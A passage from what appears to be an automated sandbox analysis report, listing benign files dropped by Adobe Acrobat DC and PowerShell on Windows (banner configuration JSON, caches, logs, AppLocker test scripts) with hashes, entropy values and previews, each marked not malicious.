SHA-512:	E5429292225EA69C0784DDD5287512CAAF084B81470839E9BC5F49F3B0A5D2AFEE41CCDD2494B4BBE8D55F40380CBF8A03236F297200D8A7F9728233566E1C1D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"906e1f3a-665e-4119-ae5c-a7ec7ea5e984","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736746608259,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.263711996832681
Encrypted:	false
SSDEEP:	6:YEQXJ2HXtTi0vH4WsGiIPEeOF0YwjaoAvJfQ1rPeUkwRe9:YvXKXtTvvHbsdTeOepGY16Ukee9
MD5:	7E6B289209CC599385714803D711445E
SHA1:	9778B7B3682DDE3D57246A85512A387322A6B933
SHA-256:	DD379AFFDB6F470F0DB2D36A4CC2EFF00716846431477A78D0505578990FBC48
SHA-512:	B293D226263D52318F7025092CFE91BE66A137375221993A91F6FF8085FB2D850084E5878E2FDC88E332D6B128BA44E881CAA0EFE7EBC553965BA960D743FCEC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"906e1f3a-665e-4119-ae5c-a7ec7ea5e984","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736746608259,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.28157844756325
Encrypted:	false
SSDEEP:	6:YEQXJ2HXtTi0vH4WsGiIPEeOF0YwjaoAvJfFldPeUkwRe9:YvXKXtTvvHbsdTeOepGz8Ukee9
MD5:	B457505CA4841B3D2F9D43A78D3BDD53
SHA1:	A3A8E61E966FB61D3833D16EDB7CF20EA6A815D3
SHA-256:	3D6BA741DCA80A7E32FEDAAD32EDA780C1EC5AFB0A22DDA770D291DEA974E03F
SHA-512:	D3AA73365AC95E6620E0CB3EFE50BC1B89CC37D60CFD5E7C8E7821A757BC6484FE207504B222BB3B3494496672BD30AFA8BD563004B6F4A60F69A89B48C46DDA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"906e1f3a-665e-4119-ae5c-a7ec7ea5e984","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736746608259,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.285263091291054
Encrypted:	false
SSDEEP:	6:YEQXJ2HXtTi0vH4WsGiIPEeOF0YwjaoAvJfzdPeUkwRe9:YvXKXtTvvHbsdTeOepGb8Ukee9
MD5:	0CD5C3CADE9EBDC30F35CE0ED4F899D2
SHA1:	19B7596E1859E828ECC1C180FA145618A58CAEFD
SHA-256:	76FA8DC5248EB72B0503C31A9C9E0FFF73C0B9A7F3767E0FB0601185584263AC
SHA-512:	A59A3FA081076D54BB0697C53C877B5F69698386C35E13A3E045C7DA00342EA5997ADC24388DDD3B04C8885A0736072AAAAC053645704DB01EBCBEEC0976AB45
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"906e1f3a-665e-4119-ae5c-a7ec7ea5e984","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736746608259,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.265739201676672
Encrypted:	false
SSDEEP:	6:YEQXJ2HXtTi0vH4WsGiIPEeOF0YwjaoAvJfYdPeUkwRe9:YvXKXtTvvHbsdTeOepGg8Ukee9
MD5:	537784C87C0CF10C997DB3C5C6A1E59B
SHA1:	C151F881469168D23A4F0409B611597408235001
SHA-256:	5239D24C5E50768CA587B04F9D10B5F2A3C54BC7A9B37EF46AB696D0C5F4CF09
SHA-512:	440524E7A9559E297346A825A0CCC0BA3EE0E993DA49E0A552B7AF8E2C4A6BBA2597EF86781D8CBA86649D5F1AA91C1B148088DACEB5BDB33E59A1BF50268651
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"906e1f3a-665e-4119-ae5c-a7ec7ea5e984","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736746608259,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.252531326044596
Encrypted:	false
SSDEEP:	6:YEQXJ2HXtTi0vH4WsGiIPEeOF0YwjaoAvJf+dPeUkwRe9:YvXKXtTvvHbsdTeOepG28Ukee9
MD5:	449AAD197D7638E5C4E2DEE2C6C32DC0
SHA1:	764A7A49B02D149130D6494E93DEC0661913AC93
SHA-256:	FDE1F62EEA55DDB6C573CF8075F3A56FAD7F1A6064FF9B7552EE0D0CAE25E5E0
SHA-512:	7B014E84558773634C5C71DBA278859D9D387B1B9E668400D63A2FC23F67E4F24AA4523DE5EAB0D77518A18C8140619545B0D58875F5AF08697E1AFA2FFABC9A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"906e1f3a-665e-4119-ae5c-a7ec7ea5e984","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736746608259,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.24952176875482
Encrypted:	false
SSDEEP:	6:YEQXJ2HXtTi0vH4WsGiIPEeOF0YwjaoAvJfbPtdPeUkwRe9:YvXKXtTvvHbsdTeOepGDV8Ukee9
MD5:	6889306784886BCFFD24B8C2E1963EFC
SHA1:	35B3A5EE753E8E04055A5B9F71585EE12E4D7F7B
SHA-256:	BCCE46612D73382E72EFF76A85117CF36F40BA1B3410E340BE0D5A42C64FD047
SHA-512:	A92828D0CB47D447034A514F8069E94C5E46EFA4985B72ED9A4C7D6B246424B7D3DE0640180043AD53E24A1E169B68819FD37728B7023D7A1C1BA7D48983718A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"906e1f3a-665e-4119-ae5c-a7ec7ea5e984","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736746608259,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.254274277532281
Encrypted:	false
SSDEEP:	6:YEQXJ2HXtTi0vH4WsGiIPEeOF0YwjaoAvJf21rPeUkwRe9:YvXKXtTvvHbsdTeOepG+16Ukee9
MD5:	A170841EF1141BFBDC59DA236FB66907
SHA1:	259B56B4792D822CBF8732E53C507A4CF3F15581
SHA-256:	7D3BDF760852482EEB27AF3CEF36AFA0B544C2973853DD3EC24EE2D86F9F347A
SHA-512:	381272FD558D9BFE263FF1E5A5E27314ADBE92E153551ABD4FFCB59551863257A992C2F4AC1439F072FD90A6EBC34F7A18EDBC381E3A8BAAE0700A75026DEF5D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"906e1f3a-665e-4119-ae5c-a7ec7ea5e984","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736746608259,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.656588973947957
Encrypted:	false
SSDEEP:	24:Yv6XhTmeOvamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSJn:YvcyeGBgkDMUJUAh8cvMJn
MD5:	44C977884D5289AD26C6384C40FF613B
SHA1:	A61918B3CBAF109F7F1FA4BF5F1A2B13F9ABDB25
SHA-256:	A1B682038AA61F05F252F113F81E2572858BC5FEB062629644EE25BA94D179FA
SHA-512:	76B85116DDFD1F4211178D24AC257B195E3542818CE2FD621564407921CED32FAE0A546908C1461DBA347D7F7BDBC7D96C83F96A2928D1581EC85911E6D94EEA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"906e1f3a-665e-4119-ae5c-a7ec7ea5e984","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736746608259,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.232548635184225
Encrypted:	false
SSDEEP:	6:YEQXJ2HXtTi0vH4WsGiIPEeOF0YwjaoAvJfshHHrPeUkwRe9:YvXKXtTvvHbsdTeOepGUUUkee9
MD5:	F1CCF1F6A138DA7F4B12E7D0FFEFD8AA
SHA1:	552B1FF44E31460550D968CB0BBCF8895A454457
SHA-256:	F87FFC77C089EA1D87EFE0357305DB596F9A617E909486C49CF352E46324D9AF
SHA-512:	6CF003F5CA23BB002746107C903C589B3FF8E076AAFF6677EDA60C485BF1327D528D1EF7BA1ADAABE3A6C5058F74F6D365AF9467E3E2C8F0E8E8AF30D2F2E26A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"906e1f3a-665e-4119-ae5c-a7ec7ea5e984","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736746608259,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.256779188834227
Encrypted:	false
SSDEEP:	6:YEQXJ2HXtTi0vH4WsGiIPEeOF0YwjaoAvJTqgFCrPeUkwRe9:YvXKXtTvvHbsdTeOepGTq16Ukee9
MD5:	95DB6219776FAA536375B21E8037EAB1
SHA1:	5523852E9A7B9674D7A90353E9D4FF005D3C9D59
SHA-256:	58B0DB92E0E5A828158A06DE70188BB5975273D916BF63FA7B924A2A4362E4A1
SHA-512:	8181FAECB876D27FE5EE9E4948AFDADC89B20173C27D1513FCE00809924C750EBA6FA40E1399028174876D82D6DDA16C6B2A64C077023E99FA71550B5EB3A5A7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"906e1f3a-665e-4119-ae5c-a7ec7ea5e984","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736746608259,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.14079675309745
Encrypted:	false
SSDEEP:	24:YLyaTFaytvTI0z4hQaJP1+mtujbovj0SKfq2a2LSkCqSt4Ml9NVB5wV49VsuVOG:Y7Jz4h9Jub+3riEt4MlzqV49V
MD5:	27A34CCB896DB1E92F8C77C6A6230518
SHA1:	4EC63C62126D54DEDA5EC60D18EB427453256660
SHA-256:	24F2937E3920ACB6F75F754411BC901B4BF7285BB14138BBA8B95C3AC6F19B28
SHA-512:	6D6AE4EF9953C71C6655AA0A89765DEBC34F2A4CC3C009EDDAC9E46C82C3DE66E0710387F943E16BF99B23B55DE5E119D1E7339AD2EF24AEDAF53ADDDE14F307
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"a624c61bf77fd11ceeef619b9ce3909d","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736572082000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"2dd7cdcc32436e48a20905e0971aab7c","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736572082000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"92d666b4643d3eb0763b74ff0a95a5a0","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736572082000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"625fa26cb0e694f81c411416043f8a3b","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736572082000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"7df6dc049f28c7e0d5261d7ef35d8dca","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736572082000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"e0a35e483533e3bb3d76b9438de4b46a","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.4530303765567925
Encrypted:	false
SSDEEP:	48:TGufl2GL7msCvrBd6dHtbGIbPe0K3+fDy2dsDH1lVHJ:lNVmsw3SHtbDbPe0K3+fDZdUdJ
MD5:	8355E5E7F772241F1C600D3D52C6CD16
SHA1:	A7032DFED6A6A422AA3BF94494CA1B89306F3EBE
SHA-256:	0495A60B3BE52896D0B88B6B79C577B55270DBE952503B39483E1D27209334C0
SHA-512:	28169D292A01051D9F9598A492900DFD1707102728E37B362725AE8A461ECA91D979785B1979867709182F35315DF0AB74BB45517B0D8376461F7807A54D8237
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.9589429026754124
Encrypted:	false
SSDEEP:	48:7MzrvrBd6dHtbGIbPe0K3+fDy2dsDHAaqFl2GL7msT:7m3SHtbDbPe0K3+fDZdUBKVmsT
MD5:	BBAA01D79BEA8F0430CDEDA71A2E1843
SHA1:	D495398400DE07759C7790F039C971F2EBA34C3C
SHA-256:	7EF35F319665A424C93BF090183A730AD0B006111A7869179000DCC235AA9548
SHA-512:	AEB31DB183E735E874BED518941BF2EB67F591EBD0938D141B6FC8C4EF7167A00686DE03B36A19CD2AC83C8A65E7616056FBDB94CDC72E6924D7DC2B487EA787
Malicious:	false
Preview:	.... .c.......I......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................v.../.././././....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgFNJwm7hEJZKD2Cm1uKgZeghAme7GYyu:6a6TZ44ADEFbwm1EJs6tcvFK
MD5:	BE7AF3A8AFE2D1BBC9E25A95B1F12625
SHA1:	E980DC93DA0DAE48609196EB8207AF281BB7398B
SHA-256:	DE7E8A17786F91AF4943BE1C7D040DB0D81400EA0C561792B4C8AE389A675F01
SHA-512:	27FEA000938F2CA997E76DF6007639A61D7D03D2CD40F7D65261A0F34C7C2DA4256CBB50348929C21D1665F6C6666438375B7A3BAF91D11D0372849F1DA4A21F
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulxmH/lZ:NllUg
MD5:	D904BDD752B6F23D81E93ECA3BD8E0F3
SHA1:	026D8B0D0F79861746760B0431AD46BAD2A01676
SHA-256:	B393D3CEC8368794972E4ADD978B455A2F5BD37E3A116264DBED14DC8C67D6F2
SHA-512:	5B862B7F0BCCEF48E6A5A270C3F6271D7A5002465EAF347C6A266365F1B2CD3D88144C043D826D3456AA43484124D619BF16F9AEAB1F706463F553EE24CB5740
Malicious:	false
Preview:	@...e................................. ..............@..........

C:\Users\user\AppData\Local\Temp\MSIe1e38.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.493870954423123
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K88Clwf9:Qw946cPbiOxDlbYnuRKdf
MD5:	39C4FAA24FABCA6DCF3CD9340F2F0209
SHA1:	DFC418AB4B2990C6986D90BA5111A122BBF89BAF
SHA-256:	8EFAA230F38A2ED807DB7A17C5C35794F5B7740A1AF2393891A3508FA583C9BD
SHA-512:	C5749D759E8A87EB3A28F6561618279ED9D026DC49905D77C51A98EA434B236D578D7DEA45CEA06E723E466B852C9B571F397B750B0C2A1A1FB89EDE1C52A795
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.1./.0.1./.2.0.2.5. . .0.0.:.0.8.:.0.5. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_a0kgklgx.fuf.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_espwvjf3.wc5.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-11 00-07-55-421.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.386483451061953
Encrypted:	false
SSDEEP:	384:A2+jkjVj8jujXj+jPjghjKj0jLjmF/FRFO7t75NsXNsbNsgNssNsNNsaNsliNsTY:AXg5IqTS7Mh+oXChrYhFiQHXiz1W60ID
MD5:	F49CA270724D610D1589E217EA78D6D1
SHA1:	22D43D4BB9BDC1D1DEA734399D2D71E264AA3DD3
SHA-256:	D2FFBB2EF8FCE09991C2EFAA91B6784497E8C55845807468A3385CF6029A2F8D
SHA-512:	181B42465DE41E298329CBEB80181CBAB77CFD1701DBA31E61B2180B483BC35E2EFAFFA14C98F1ED0EDDE67F997EE4219C5318CE846BB0116A908FB2EAB61D29
Malicious:	false
Preview:	SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:808+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.347570764686271
Encrypted:	false
SSDEEP:	384:jSMzyz3zqzIz5zzYzBzazkzxzTzQ5dp535x9XMLMBMFzCzOz7zQz3CjUjsjupKoT:jlWjO8N3YVmYdXETpVn90ek2KXkmgw6B
MD5:	B02FBBB86DEE153B99084B2E7127FEEA
SHA1:	59994C8FB82DB99AECECBF0FA74A11CD07ED1AC5
SHA-256:	A8C2B189B3ED75E02425BDDB19C48F064AA3662B0B8EA6E27F877AE93FC1ACDA
SHA-512:	473D45BABC38780BF82F887CD51C17AA941EC58D8BA3EA130E688DAB202C9984B6B5F097878126A090365FD534C52CC86E4E99A57ABEB89A315AF1AB7C2E0574
Malicious:	false
Preview:	SessionID=8f83ede3-fda8-4c44-9571-188c6e17ef19.1736572075436 Timestamp=2025-01-11T00:07:55:436-0500 ThreadID=4668 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=8f83ede3-fda8-4c44-9571-188c6e17ef19.1736572075436 Timestamp=2025-01-11T00:07:55:437-0500 ThreadID=4668 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=8f83ede3-fda8-4c44-9571-188c6e17ef19.1736572075436 Timestamp=2025-01-11T00:07:55:437-0500 ThreadID=4668 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=8f83ede3-fda8-4c44-9571-188c6e17ef19.1736572075436 Timestamp=2025-01-11T00:07:55:437-0500 ThreadID=4668 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=8f83ede3-fda8-4c44-9571-188c6e17ef19.1736572075436 Timestamp=2025-01-11T00:07:55:437-0500 ThreadID=4668 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	35721
Entropy (8bit):	5.409034435960726
Encrypted:	false
